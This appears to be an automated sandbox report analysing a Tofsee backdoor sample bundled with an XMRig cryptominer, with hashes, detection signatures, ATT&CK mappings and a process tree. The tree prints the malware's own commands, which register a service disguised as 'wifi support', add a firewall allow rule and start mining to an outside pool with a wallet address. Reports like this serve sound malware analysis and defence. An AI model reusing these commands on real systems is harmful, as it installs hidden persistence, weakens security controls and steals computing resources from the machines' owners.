Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-02-2021 10:17

General

  • Target

    xtllixwk.exe

  • Size

    12.6MB

  • MD5

    a65502084b6d09ee1219201d47f46c20

  • SHA1

    6855bfa842237d60e76691ce5f59865a045e7e08

  • SHA256

    8e9077111645da006312e59519b5080e63a9ab0ef7cf686894bfa72279970a33

  • SHA512

    4a5c53deea9a78aec63de61512aa1cdf101ab8d68dcb0c478d8106e8c6fbfd1c20eb80b0c326a4544a747cf120770198d3f9ba0c6f99fd81534d689c778cc34e

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe
    "C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gqinwmwy\
      2⤵
        PID:2900
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ygvzmktt.exe" C:\Windows\SysWOW64\gqinwmwy\
        2⤵
          PID:3364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gqinwmwy binPath= "C:\Windows\SysWOW64\gqinwmwy\ygvzmktt.exe /d\"C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1328
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description gqinwmwy "wifi internet conection"
            2⤵
              PID:1980
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start gqinwmwy
              2⤵
                PID:4088
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1580
              • C:\Windows\SysWOW64\gqinwmwy\ygvzmktt.exe
                C:\Windows\SysWOW64\gqinwmwy\ygvzmktt.exe /d"C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1484
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1736
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3468

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\ygvzmktt.exe
                MD5

                7365524a02354e3d8fcb612d47eba65d

                SHA1

                bc08da3691241a87017db704e8d4ea4dc0e6d448

                SHA256

                057e5cd3a73b85ea1383a8c4d0a825844f02ba788f30e65320172df7ca40bff3

                SHA512

                8899dc05809700b44dae11a5b1e94307f059e48a8ecbe94ffb1f55e432017de904420397269d6be8c7080b4012b9d3f1c4bbfc3b5571efc49b36ad6a4a74d436

              • C:\Windows\SysWOW64\gqinwmwy\ygvzmktt.exe
                MD5

                7365524a02354e3d8fcb612d47eba65d

                SHA1

                bc08da3691241a87017db704e8d4ea4dc0e6d448

                SHA256

                057e5cd3a73b85ea1383a8c4d0a825844f02ba788f30e65320172df7ca40bff3

                SHA512

                8899dc05809700b44dae11a5b1e94307f059e48a8ecbe94ffb1f55e432017de904420397269d6be8c7080b4012b9d3f1c4bbfc3b5571efc49b36ad6a4a74d436

              • memory/796-3-0x0000000004900000-0x000000000490D000-memory.dmp
                Filesize

                52KB

              • memory/796-4-0x0000000004910000-0x0000000004923000-memory.dmp
                Filesize

                76KB

              • memory/796-5-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/796-2-0x00000000064A0000-0x00000000064A1000-memory.dmp
                Filesize

                4KB

              • memory/1328-9-0x0000000000000000-mapping.dmp
              • memory/1484-15-0x00000000050C0000-0x00000000050C1000-memory.dmp
                Filesize

                4KB

              • memory/1484-14-0x00000000050C0000-0x00000000050C1000-memory.dmp
                Filesize

                4KB

              • memory/1580-13-0x0000000000000000-mapping.dmp
              • memory/1736-16-0x0000000000BB0000-0x0000000000BC5000-memory.dmp
                Filesize

                84KB

              • memory/1736-17-0x0000000000BB9A6B-mapping.dmp
              • memory/1736-22-0x0000000004C50000-0x0000000004E5F000-memory.dmp
                Filesize

                2.1MB

              • memory/1736-23-0x0000000000BE0000-0x0000000000BE6000-memory.dmp
                Filesize

                24KB

              • memory/1980-10-0x0000000000000000-mapping.dmp
              • memory/2900-6-0x0000000000000000-mapping.dmp
              • memory/3364-7-0x0000000000000000-mapping.dmp
              • memory/3468-24-0x0000000000600000-0x00000000006F1000-memory.dmp
                Filesize

                964KB

              • memory/3468-26-0x000000000069259C-mapping.dmp
              • memory/4088-11-0x0000000000000000-mapping.dmp